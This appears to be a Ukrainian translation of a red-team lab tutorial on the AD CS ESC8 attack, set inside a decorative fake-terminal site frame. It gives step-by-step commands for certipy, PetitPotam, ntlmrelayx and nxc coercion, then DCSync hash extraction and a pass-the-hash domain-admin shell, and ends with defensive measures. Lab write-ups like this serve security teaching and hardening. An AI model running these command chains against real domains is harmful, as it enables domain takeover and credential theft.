_ SEARCH_ARCHIVE [/]
[ CLOSE_SESSION ]
:(

SYSTEM_HALTED

Your device ran into a critical error due to an unauthorized shell command. The system was halted to prevent data leakage and kernel corruption.

SYS_SEARCH v1.0.4 // CORE_INDEX ⚠️ [!] NEVER TYPE "EXIT" OR "SHUTDOWN" [ESC] TO ABORT
>>
>> LOC: ARCHIVE_ROOT/redteam/ad-cs_esc8_-_ntlm_relay_to_ad_cs_http_endpoints // SEC_LEVEL: 01 // STATUS: CONFIDENTIAL

>

#ADCS#PRIVILEGE ESCALATION#ACTIVE DIRECTORY
FILE_INFO_DECRYPTED
AUTHOR: MD Aslam
TRANSLATE: @exploit.com.ua

ESC8 — це критична вразливість в Active Directory Certificate Services (ADCS), яка націлена на веб-інтерфейси реєстрації сертифікатів, роблячи їх вразливими до атак NTLM relay. Якщо HTTPS не примусово активований, а Центр сертифікації (CA) підтримує автентифікацію клієнтів або шаблони реєстрації комп’ютерів домену, зловмисники можуть використати це для імітації користувачів та підвищення привілеїв. Ця атака може бути спрямована на будь-яку машину домену, включаючи контролери домену, дозволяючи хакерам непомітно отримувати високі привілеї та надалі компрометувати мережу. Правильна конфігурація та заходи безпеки є необхідними для запобігання експлуатації ESC8.

Зміст

  • Огляд атаки ESC8
  • Попередні умови
  • Налаштування лабораторії
  • Налаштування лабораторії
  • Збір інформації та експлуатація
  • Інтерактивна оболонка LDAP від імені контролера домену за допомогою Certipy
  • Метод 2: Використання Impacket-ntlmrelay
  • Lateral Movement та підвищення привілеїв за допомогою Evil-Winrm
  • Заходи захисту

Огляд атаки ESC8

ESC8 — це критичний шлях підвищення привілеїв в Active Directory, який експлуатує неправильно налаштовану веб-реєстрацію ADCS, використовуючи NTLM relay та примусову автентифікацію (coercion) для імітації привілейованих облікових записів, таких як Domain Admins. Це атака на етапі постексплуатації, яка використовує вразливі шаблони сертифікатів і налаштування CA для непомітного підвищення привілеїв без спрацьовування систем захисту, і не покладається на шкідливе ПЗ або експлойти нульового дня.

Архітектура веб-реєстрації ADCS

Веб-реєстрація — це додаткова функція ADCS, яка відкриває HTTP-інтерфейс за адресою /certsrv, дозволяючи користувачам:

  • Запитувати нові сертифікати через браузер
  • Оновлювати існуючі
  • Завантажувати сертифікати CA або списки відкликання (CRL)

Хоча це зручно для внутрішніх користувачів і пристроїв, цей веб-портал стає серйозною вразливістю, коли:

  • Він приймає автентифікацію NTLM через HTTP
  • CA дозволяє реєстрацію за допомогою висопривілейованих шаблонів
  • Відсутній захист від NTLM relay

Як це працює:

  • Користувач надсилає запит на сертифікат через веб-інтерфейс.
  • CA перевіряє права запитувача та шаблон сертифіката.
  • У разі схвалення CA підписує та видає дійсний сертифікат.
  • Потім користувач може використовувати сертифікат для автентифікації (Kerberos/PKINIT) або для таких завдань, як S/MIME, EFS тощо.

Примітка: Коли на сторінці веб-реєстрації дозволена автентифікація NTLM, це відкриває двері для атак NTLM relay, особливо в поєднанні з інструментами примусової автентифікації, такими як PetitPotam.

Сервери ADCS, вразливі до ESC8, зазвичай відповідають таким умовам:

  • Веб-реєстрація увімкнена (http://192.168.1.10/certsrv/)
  • Параметр Request Disposition у шаблоні сертифіката встановлено на “Issue” (тобто автоматичне схвалення запитів)
  • CA не вимагає суворої перевірки запитувача (наприклад, без схвалення менеджером, без обмежень імені суб’єкта)

Попередні умови

  • Windows Server 2019 як Active Directory, що підтримує PKINIT (DC1 та DC2).
  • Домен повинен мати налаштовані AD Certificate Services та Certificate Authority.
  • DC2 з увімкненою веб-реєстрацією.
  • Kali Linux з набором інструментів.
  • Інструменти: Evil-Winrm, certipy-ad, nxc, PetitPotam.

Налаштування лабораторії

Перед початком атаки переконайтеся, що на DC2 (цільовий сервер) встановлено ADCS з увімкненою роллю Web Enrollment. Це критично, оскільки ESC8 зловживає саме HTTP-інтерфейсом /certsrv.

Для встановлення ADCS з Web Enrollment:
  • По-перше, відкрийте Server Manager > Add Roles and Features

ADCS ESC8 NTLM Relay Attack

Вибір типу встановлення

На екрані “Installation Type” виберіть:

  • Role-based or feature-based installation
  • Натисніть Next..

Вибір цільового сервера
  • Виберіть ваш локальний сервер (ignite.local) зі списку.
  • Натисніть Next..

ADCS ESC8 NTLM Relay Attack

Вибір ролей сервера
  • Прокрутіть вниз і знайдіть: Active Directory Certificate Services
  • З’явиться вікно для додавання залежностей.
  • Натисніть Add Features, потім Next.

Після вибору ролі ADCS вам буде запропоновано вибрати конкретні служби ролей для встановлення.

Позначте:

  • Certification Authority Web Enrollment

Примітка:Web Enrollment необхідний для експлуатації ESC8, оскільки він надає вразливий HTTP-інтерфейс.

  • Натисніть Next.

Встановлення необхідних компонентів
  • На сторінці Features залиште значення за замовчуванням і натисніть Next.

ADCS ESC8 NTLM Relay Attack

Підтвердження та встановлення
  • На екрані підтвердження перевірте ваш вибір.
  • Опціонально: позначте пункт для автоматичного перезавантаження, якщо це потрібно.

  • Потім натисніть Install і зачекайте завершення встановлення

ADCS ESC8 NTLM Relay Attack

Налаштування ADCS після встановлення

Після завершення встановлення в Server Manager з’явиться жовтий прапорець.

  • Натисніть “Configure Active Directory Certificate Services on this server”, щоб запустити майстер налаштування..

У майстрі:

  • Виберіть поточного користувача, якщо він є адміністратором домену (в даному випадку Administrator).

ADCS ESC8 NTLM Relay Attack

Виберіть наступні ролі для налаштування:
  • Certification Authority Web Enrollment

  • Підтвердьте шлях встановлення та натисніть Configure.

На екрані результатів:
  • Якщо все налаштовано правильно, ви побачите “Configuration Succeeded.”
  • Натисніть Close

ADCS ESC8 NTLM Relay Attack

У разі успіху ви зможете перейти за адресою: http://192.168.1.10/certsrv

Тепер, коли наше цільове середовище налаштоване, перейдемо до демонстрації атаки.

Збір інформації та експлуатація

Метод 1: Використання Certipy

Цей метод полягає в ідентифікації вразливих шаблонів сертифікатів, примусовій автентифікації контролера домену, перехопленні підробленого сертифіката через Certipy relay та використанні його для автентифікації.

Пошук вразливих шаблонів за допомогою Certipy

Маючи облікові дані звичайного користувача домену (raj@ignite.local), скористайтеся Certipy для пошуку шаблонів, які дозволяють зловживання:

certipy find -u raj@ignite.local -p 'Password@1' -dc-ip 192.168.1.4 -vulnerable -enabled

Команда запитує AD CS для виведення списку увімкнених шаблонів, ідентифікації вразливостей та оцінки конфігурацій, таких як шаблон з DomainController EKU, увімкненою автовидачею (auto-issue) та можливістю реєстрації для низькопривілейованих користувачів, у поєднанні з увімкненою веб-реєстрацією на CA.

Давайте прочитаємо вміст, збережений у форматі .txt або .json.

ADCS ESC8 NTLM Relay Attack

Примітка: Якщо веб-реєстрація увімкнена без вимог до схвалення або перевірки особи, така конфігурація вразлива до ESC8.

Запуск Certipy Relay на CA

На Kali налаштуйте Certipy для прослуховування та ретрансляції вхідного NTLM-трафіку на CA:

certipy-ad relay -target 192.168.1.10 -template DomainController

Примусова автентифікація DC1 (PetitPotam)

Використовуйте PetitPotam, щоб змусити DC1 автентифікуватися на нашому слухачі Kali:

python PetitPotam.py -u raj -p Password@1 192.168.1.11 192.168.1.4

ADCS ESC8 NTLM Relay Attack

Що сталося?

Ми експлуатуємо PetitPotam через MS-EFSRPC, щоб змусити DC1 надіслати нам токен автентифікації NTLM. Потім ми використовуємо Certipy для ретрансляції (relay) цього токена на CA та запиту сертифіката для DC1$.

Примітка: Це ядро ланцюжка атаки ESC8: примус (coercion) + ретрансляція (relay) = імітація особи (impersonation).

Ретрансляція та отримання сертифіката для DC1$

Після запуску автентифікації з DC1 через PetitPotam, NTLM-дані ретранслюються на інтерфейс веб-реєстрації ADCS (http://192.168.1.10/certsrv), надсилаючи запит за допомогою шаблону DomainController для DC1.

Коротше кажучи, Certipy передає автентифікацію DC1 на CA і запитує сертифікат, імітуючи DC1$.

certipy-ad relay -target 192.168.1.10 -template DomainController

тепер у нас є файл .pfx, який дозволяє нам автентифікуватися як контролер домену (DC1$).

Автентифікація за допомогою виданого сертифіката

Certipy видає файл .pfx для облікового запису DC1$. Використовуйте його для автентифікації:

certipy-ad auth -pfx DC.pfx -dc-ip 192.168.1.4

ADCS ESC8 NTLM Relay Attack

Тепер ми маємо NTLM-хеш для DC1$.

Постексплуатація

Інтерактивна оболонка LDAP від імені контролера домену за допомогою Certipy

Це використовує сертифікат dc1.pfx для автентифікації на контролері домену через Kerberos, надаючи доступ до інтерактивної оболонки LDAP від імені машинного облікового запису DC1$.

certipy-ad auth -pfx dc1.pfx -dc-ip 192.168.1.4 -ldap-shell

Примітка: Ми не симулюємо і не підробляємо дані; ми автентифікуємося як довірений машинний обліковий запис із легітимним сертифікатом, підписаним CA, що дає нам нативний доступ до Active Directory на рівні протоколу через LDAP-оболонку.

Метод 2: Використання Impacket-NTLMRelayx

Цей метод демонструє інший набір інструментів і повторює ту саму логіку: примус + ретрансляція + сертифікат = імітація.

impacket-ntlmrelayx  -t http://192.168.1.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

ADCS ESC8 NTLM Relay Attack

Спочатку він ретранслює вхідну SMB-автентифікацію на інтерфейс веб-реєстрації на DC2. Потім автоматично запитує сертифікат за допомогою шаблону DomainController. У разі успіху він зберігає сертифікат і ключ для подальшого використання.

Примусова автентифікація DC1 за допомогою nxc

nxc smb 192.168.1.4 -u raj@ignite.local -p Password@1 -d ignite.local -M coerce_plus -o LISTENER=192.168.1.11

Ця команда націлена на DC1, змушує його спробувати автентифікацію SMB на слухачі relay на Kali, використовуючи метод coerce_plus, активований через поширені протоколи примусу, такі як MS-EFSRPC та MS-RPRN.

Примітка: Relay перехоплює це і видає сертифікат для DC1$, який за потреби можна конвертувати у файл .pfx.

Сертифікат видано та збережено через ntlmrelayx

Після запуску NTLM relay та успішного примусу DC1 за допомогою nxc, результат виглядатиме приблизно так:

ADCS ESC8 NTLM Relay Attack

Цей вивід підтверджує, що ретрансляція пройшла успішно і CA видав сертифікат PKCS#12, який збережено як: DC1$.pfx

Автентифікація як DC1$ за допомогою виданого сертифіката

Ми використовуємо виданий сертифікат для DC1$ для автентифікації через SMB на DC2, фактично імітуючи контролер домену.

nxc smb 192.168.1.10 --pfx-cert dc1.pfx -u "dc1$"

ADCS ESC8 NTLM Relay Attack

Вилучення хешу адміністратора за допомогою DCSync

Ми виконуємо DCSync від імені DC1, щоб отримати NTLM-хеш облікового запису Administrator.

nxc smb 192.168.1.10 --pfx-cert dc1.pfx -u "dc1$" --ntds --user Administrator

Lateral Movement та підвищення привілеїв за допомогою Evil-Winrm

evil-winrm -i 192.168.1.4 -u administrator -H 32196b56ffe6f45e294117b91a83bf38

ADCS ESC8 NTLM Relay Attack

Тепер у нас є віддалена інтерактивна оболонка адміністратора домену на DC1, і все це без використання пароля.

Заходи захисту

  • Вимкніть веб-реєстрацію, якщо вона не потрібна, або обмежте доступ лише внутрішніми користувачами.
  • Примусово використовуйте HTTPS та вимкніть або обмежте NTLM.
  • Використовуйте лише автентифікацію Kerberos і встановіть LmCompatibilityLevel = 5, щоб відхиляти NTLMv1.
  • Посильте захист шаблонів сертифікатів, видаливши “Authenticated Users” з прав на реєстрацію/автореєстрацію та вимагаючи схвалення менеджером.
  • Обмежте доступ до CA та права на шаблони лише для привілейованих груп.
  • Проводьте аудит чутливих шаблонів, таких як DomainController та Administrator.
  • Блокуйте вектори примусової автентифікації, вимкнувши MS-EFSRPC, RPRN, FSRVP та використовуючи Windows Firewall.
  • Увімкніть журнали аудиту CA та відстежуйте реєстрацію машинних сертифікатів і події PKINIT.
  • Увімкніть Extended Protection for Authentication (EPA) для захисту /certsrv в IIS.
[!] SYSTEM_INCOMPATIBILITY_REPORT

FATAL_ERROR: MOBILE_DISPLAY_NOT_SUPPORTED

The requested resource "exploit.com.ua" is optimized for desktop terminal environments only.

Mobile UI decoding is currently in progress...